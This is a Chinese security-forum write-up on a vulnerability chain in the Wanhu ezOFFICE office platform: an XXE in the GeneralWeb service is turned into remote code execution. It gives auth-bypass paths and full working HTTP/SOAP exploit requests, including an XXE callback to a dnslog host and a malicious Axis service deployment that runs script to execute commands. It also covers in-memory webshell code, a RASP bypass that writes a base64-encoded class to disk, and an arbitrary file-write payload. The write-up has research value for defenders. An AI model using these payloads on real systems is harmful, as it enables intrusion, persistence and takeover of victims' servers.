奇安信攻防社区-万户ezOFFICE协同管理平台 GeneralWeb XXE to RCE

万户ezOFFICE协同管理平台 GeneralWeb XXE to RCE

之前实战遇到了，但是网上的poc懂得都懂，索性就专门研究一下漏洞成因，利用以及内存马方面

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-679b14fb254b2fb83cbe48b2e963318e78236e95.png)  
之前实战遇到了，但是网上的poc懂得都懂，索性就专门研究一下

JDK版本：1.6.0  
操作系统：Windows Server 2012

漏洞分析
----

从web.xml看起

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-4bbb04580b8ae906e93dab8eefa4cc44dd21a238.png)

使用了 XFire 与 Axis 两种 WebService 框架

看到 XFire 配置文件`D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/META-INF/xfire/services.xml`

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-d33e85de27468a143fce1fdf4de45d91fb21d709.png)

配置了一个GeneralWeb的服务，找到该类`com.whir.service.webservice.GeneralWeb`

```java
package com.whir.service.webservice;

import com.whir.service.common.CallApi;

public class GeneralWeb {
    public String OAManager(String input) throws Exception {
        CallApi callapi = new CallApi();
        return callapi.getResult(input);
    }
}
```

`com.whir.service.common.CallApi#getResult`

```java
public String getResult(String input) throws Exception {
    if (serviceMap == null) {
        throw new Exception("Error: serviceMap can not is null");
    }
    SAXBuilder builder = new SAXBuilder();
    byte[] b = input.getBytes("utf-8");
    InputStream is = new ByteArrayInputStream(b);
    Document doc = builder.build(is);
    Element root = doc.getRootElement();
```

使用SAXBuilder进行解析并且未进行过滤，产生XXE漏洞

鉴权方面代码在`com.whir.common.util.SetCharacterEncodingFilter`

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-889c69a7c94a8f970c2f358344bf3ac33530d91d.png)

使用的是 getRequestURI，那么就有很多绕过方法了，简单列举几个

```php
/iWebOfficeSign/OfficeServer.jsp/../../
/xfservices/./GeneralWeb
.jsp;.js
```

漏洞利用
----

触发dnslog：

```php
POST /defaultroot/xfservices/./GeneralWeb HTTP/1.1
Host: 
User-Agent: Moziilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: 
Content-Length: 457

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gen="http://com.whir.service/GeneralWeb">
  <soapenv:Body>
    <gen:OAManager>
      <gen:input>
        &lt;?xml version="1.0" encoding="UTF-8"?&gt;
        &lt;!DOCTYPE root [
        &lt;!ENTITY x SYSTEM "http://123.6x9ryk.dnslog.cn"&gt;]&gt;
        &lt;root&gt;&amp;x;&lt;/root&gt;
      </gen:input>
    </gen:OAManager>
  </soapenv:Body>
</soapenv:Envelope>
```

因为使用了Axis，我们可以通过AdminServlet创建任意服务，看到server-config.wsdd

```xml
<service name="AdminService" provider="java:MSG">
 <parameter name="allowedMethods" value="AdminService"/>
 <parameter name="enableRemoteAdmin" value="false"/>
 <parameter name="className" value="org.apache.axis.utils.Admin"/>
 <namespace>http://xml.apache.org/axis/wsdd/</namespace>
</service>
```

那么思路就很清晰了，通过xxe的get请求部署恶意服务，由于JDK是低版本，那么可以部署RhinoScriptEngineService

```xml
http://127.0.0.1:{{Port}}/defaultroot/services/./AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-933bab13bb758e5a40d3c7a1bdcffcb882bba84b.png)

部署成功

```php
POST /defaultroot/services/./RhinoScriptEngineService HTTP/1.1
Host: 
User-Agent: Moziilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: 
Content-Length: 973

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jav="http://javascript.script.sun.com">
  <soapenv:Body>
    <eval xmlns="http://127.0.0.1:8080/services/scriptEngine">
     <arg0 xmlns="">
     <![CDATA[
     try {
     load("nashorn:Moziilla_compat.js");
     } catch (e) {
     }
     importPackage(Packages.java.io);
     importPackage(Packages.java.lang);
     importPackage(Packages.java.util);

var command = "cmd /c whoami";
     var pb = new java.lang.ProcessBuilder(Arrays.asList(command.split(" ")));
     var process = pb.start();
     var ret = new java.util.Scanner(process.getInputStream()).useDelimiter('\\A').next();
     ret;
     ]]>
     </arg0>
     <arg1 xmlns="" xsi:type="urn:SimpleScriptContext" xmlns:urn="urn:beanservice">
     </arg1>
    </eval>
  </soapenv:Body>
</soapenv:Envelope>
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-30d99a7f51736e83f9db2a190628914f5a45c840.png)

成功执行命令

### 内存马

Java-Js-Engine-Payloads：<https://github.com/yzddmr6/Java-Js-Engine-Payloads>

适配了JDK6-14的内存马

```java
try {
    load("nashorn:mozilla_compat.js");
} catch (e) {
}

function getUnsafe() {
    var theUnsafeMethod =
        java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
    theUnsafeMethod.setAccessible(true);
    return theUnsafeMethod.get(null);
}

function removeClassCache(clazz) {
    var unsafe = getUnsafe();
    var clazzAnonymousClass = unsafe.defineAnonymousClass(
        clazz,
        java.lang.Class.forName("java.lang.Class")
            .getResourceAsStream("Class.class")
            .readAllBytes(),
        null
    );
    var reflectionDataField =
        clazzAnonymousClass.getDeclaredField("reflectionData");
    unsafe.putObject(clazz, unsafe.objectFieldOffset(reflectionDataField), null);
}

function setAccessible(accessibleObject) {
    var unsafe = getUnsafe();
    var overrideField = java.lang.Class.forName(
        "java.lang.reflect.AccessibleObject"
    ).getDeclaredField("override");
    var offset = unsafe.objectFieldOffset(overrideField);
    unsafe.putBoolean(accessibleObject, offset, true);
}

由于JBoss 低版本套的是 tomcat，所以直接使用 tomcat 内存马即可

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-87ab87fce34e7e41b93767a4a479fcbcd37b3f8a.png)

使用Listener组件，容错高

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-c1ea2c55639e04a5643b94defd04fd15cadbae59.png)

执行，无报错并且返回 200，说明成功了

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-24153a68c8d45034111bcc9bd3656df5280b0148.png)

随便找个路径连接即可

### RASP绕过

在命令执行的时候可能会遇到：**java.lang.SecurityException: cmd execute denied !!!**

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-4c237161525299a4b84664bcfc5e228953a77419.png)

即存在RASP，而RASP一般是通过黑名单进行过滤的

这里禁用了ProcessBuilder，我们尝试更底层的命令执行：ProcessImpl，该类是private，所以只能反射调用

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-350f2ffdee079101528ae6f4106f34e2e2e5792b.png)

这里JDK1.6和JDK1.8的构造方法存在差异，所以需要小小修改一下

当调用setAccessible的时候会报错：

```php
sun.org.mozilla.javascript.internal.EcmaError: TypeError: Cannot call method "setAccessible" of null
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-72f5ac149880b8a2ce93a7b044c47067ab32102c.png)

在js中无法反射调用，根据网上的文章，我们可以写class文件然后URLClassLoader去加载

```java
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Map;

public class Testcmd {
    String result = "";
    public Testcmd(String paramString) throws Exception{
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null &amp;&amp; osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"bash", "-c", paramString} : new String[]{"cmd.exe", "/c", paramString};

Class clazz = Class.forName("java.lang.ProcessImpl");
        Method method = clazz.getDeclaredMethod("start", String[].class, Map.class,String.class,boolean.class);
        method.setAccessible(true);
        InputStream ins = ((Process) method.invoke(null,cmds,null,null,true)).getInputStream();
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        byte[] bytes = new byte[1024];
        int size;
        while((size = ins.read(bytes)) &gt; 0)
                bos.write(bytes,0,size);

ins.close();
        this.result = bos.toString();
    }

public java.lang.String toString() {
        return this.result;
    }
    public static void main(String[] args) {
    }
}
```

没有ban掉File类，可以将class文件写入到系统中

```java
try {
load("nashorn:Moziilla_compat.js");
} catch (e) {
}
importPackage(Packages.java.io);
importPackage(Packages.java.lang);
importPackage(Packages.sun.misc);

var file = new File("../server/Testcmd.class");

var fos = new FileOutputStream(file);
var base64Decoder = new BASE64Decoder();
var decodeContent = base64Decoder.decodeBuffer("yv66vgAAADIAkAoAFwBPCABQCQAiAFEIAFIKAFMAVAoACQBVCABWCgAJAFcHAFgIAFkIAFoIAFsIAFwIAF0KABEAXggAXwcAYAcAMQcAYQkAYgBjCgARAGQKAGUAZgcAZwoAYgBoCgBlAGkHAGoKABoAawcAbAoAHABPCgBtAG4KABwAbwoAbQBwCgAcAHEHAHIBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxUZXN0Y21kOwEAC3BhcmFtU3RyaW5nAQAHaXNMaW51eAEAAVoBAAVvc1R5cAEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQADaW5zAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEABWJ5dGVzAQACW0IBAARzaXplAQABSQEADVN0YWNrTWFwVGFibGUHAHIHAFgHAGAHAHMHAHQHAGwHADsBAApFeGNlcHRpb25zBwB1AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAClNvdXJjZUZpbGUBACFUZXN0Y21kLmphdmEgZnJvbSBJbnB1dEZpbGVPYmplY3QMACUAdgEAAAwAIwAkAQAHb3MubmFtZQcAdwwAeAB5DAB6AEkBAAN3aW4MAHsAfAEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBAAdjbWQuZXhlAQACL2MBABVqYXZhLmxhbmcuUHJvY2Vzc0ltcGwMAH0AfgEABXN0YXJ0AQAPamF2YS9sYW5nL0NsYXNzAQANamF2YS91dGlsL01hcAcAfwwAgAAzDACBAIIHAHMMAIMAhAEAEGphdmEvbGFuZy9PYmplY3QMAIUAhgwAhwCIAQARamF2YS9sYW5nL1Byb2Nlc3MMAIkAigEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwB0DACLAIwMAI0AjgwAjwB2DABIAEkBAAdUZXN0Y21kAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAMoKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9Cb29sZWFuAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihaKUxqYXZhL2xhbmcvQm9vbGVhbjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAEcmVhZAEABShbQilJAQAFd3JpdGUBAAcoW0JJSSlWAQAFY2xvc2UAIQAiABcAAAABAAAAIwAkAAAAAwABACUAJgACACcAAAH5AAYACwAAAOIqtwABKhICtQADBD0SBLgABU4txgARLbYABhIHtgAImQAFAz0cmQAYBr0ACVkDEgpTWQQSC1NZBStTpwAVBr0ACVkDEgxTWQQSDVNZBStTOgQSDrgADzoFGQUSEAe9ABFZAxMAElNZBBMAE1NZBRMACVNZBrIAFFO2ABU6BhkGBLYAFhkGAQe9ABdZAxkEU1kEAVNZBQFTWQYEuAAYU7YAGcAAGrYAGzoHuwAcWbcAHToIEQQAvAg6CRkHGQm2AB5ZNgqeABAZCBkJAxUKtgAfp//pGQe2ACAqGQi2ACG1AAOxAAAAAwAoAAAASgASAAAACAAEAAcACgAJAAwACgASAAsAIgAMACQADgBRABAAWAARAH0AEgCDABMAqQAUALIAFQC5ABcAxgAYANMAGgDYABsA4QAcACkAAABwAAsAAADiACoAKwAAAAAA4gAsACQAAQAMANYALQAuAAIAEgDQAC8AJAADAFEAkQAwADEABABYAIoAMgAzAAUAfQBlADQANQAGAKkAOQA2ADcABwCyADAAOAA5AAgAuQApADoAOwAJAMMAHwA8AD0ACgA+AAAAPwAF/wAkAAQHAD8HAEABBwBAAAAYUQcAEv8AaQAKBwA/BwBAAQcAQAcAEgcAQQcAQgcAQwcARAcARQAA/AAZAQBGAAAABAABAEcAAQBIAEkAAQAnAAAALwABAAEAAAAFKrQAA7AAAAACACgAAAAGAAEAAAAeACkAAAAMAAEAAAAFACoAKwAAAAkASgBLAAEAJwAAACsAAAABAAAAAbEAAAACACgAAAAGAAEAAAAiACkAAAAMAAEAAAABAEwAMQAAAAEATQAAAAIATg==");
fos.write(decodeContent, new Integer(0), new Integer(decodeContent.length));
fos.close();
```

最后就是网上公开的poc了

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-f4332d108c30507b1bfcbddd2005290a822b0cbf.png)

### StringUtil任意文件写

网上还存在一种方法：使用`com.whir.ezoffice.ezform.util.StringUtil`这个类写文件

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-fc12c86d40e331cd3ebfb1b6fca156c6ce9e0d9b.png)

存在无参构造方法，满足service条件

```java
private static void writeToFile(String fileName, String content) throws IOException {
    BufferedOutputStream outStream = null;
    OutputStreamWriter writer = null;

try {
        String dirPath = "";
        if (fileName.lastIndexOf("/") != -1) {
            dirPath = fileName.substring(0, fileName.lastIndexOf("/"));
        }

File dir = new File(dirPath);
        if (!dir.exists() &amp;&amp; !dir.mkdirs()) {
            throw new IOException("create directory '" + dirPath + "' failed!");
        }

outStream = new BufferedOutputStream(new FileOutputStream(fileName, true));
        writer = new OutputStreamWriter(outStream);
        writer.write(content);
    } catch (IOException var9) {
        throw var9;
    } finally {
        if (writer != null) {
            writer.close();
        }

if (outStream != null) {
            outStream.close();
        }

}

public static void printToFile(String fileName, String content) throws IOException {
    writeToFile(fileName, content);
}

public static void printlnToFile(String fileName, String content) throws IOException {
    writeToFile(fileName, content + "\n");
}
```

可以通过 printToFile 方法任意文件写，内容以及文件名均可控

```php
http://127.0.0.1:{{port}}/defaultroot/services/./AdminService?method=!--%3E%3Cdeployment%20xmlns=%22http://xml.apache.org/axis/wsdd/%22%20xmlns:java=%22http://xml.apache.org/axis/wsdd/providers/java%22%3E%3Cservice%20name=%22freemarkerQa%22%20provider=%22java:RPC%22%3E%3Cparameter%20name=%22className%22%20value=%22com.whir.ezoffice.ezform.util.StringUtil%22/%3E%3Cparameter%20name=%22allowedMethods%22%20value=%22*%22/%3E%3C/service%3E%3C/deployment
```

网上众多的 freemarkerQa 服务均是调用的该类

```php
POST /defaultroot/./services/freemarkerQa HTTP/1.1
Host: 
User-Agent: Moziilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
SOAPAction: 
Content-Type: text/xml;charset=UTF-8
Content-Length: 606

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.ezform.ezoffice.whir.com">
  <soapenv:Body>
    <util:printToFile soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <fileName xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">../server/oa/deploy/defaultroot.war/1.txt</fileName>
      <content xsi:type="soapenc:string">x</content>
    </util:printToFile>
  </soapenv:Body>
</soapenv:Envelope>
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-2f970068174235f1ffd981ed0d0d245886092c89.png)

验证成功

总结
--

实战中很有意思的一个漏洞，但网上的poc。。。呃呃

还可以尝试打freemarker、bsh

万户作为老牌oa，还是很值得去学习研究的

参考：  
[万户rce](https://mp.weixin.qq.com/s/sktnBnCrZUoqkhGM0O9HRQ)  
[实战 | 万户GeneralWeb组合Bypass Rasp](https://mp.weixin.qq.com/s/4FyX_zmY90yGLzdJgUGzcg)

发表于 2024-09-29 10:00:01
阅读 ( 1169 )
分类：渗透测试

万户ezOFFICE协同管理平台 GeneralWeb XXE to RCE

0 条评论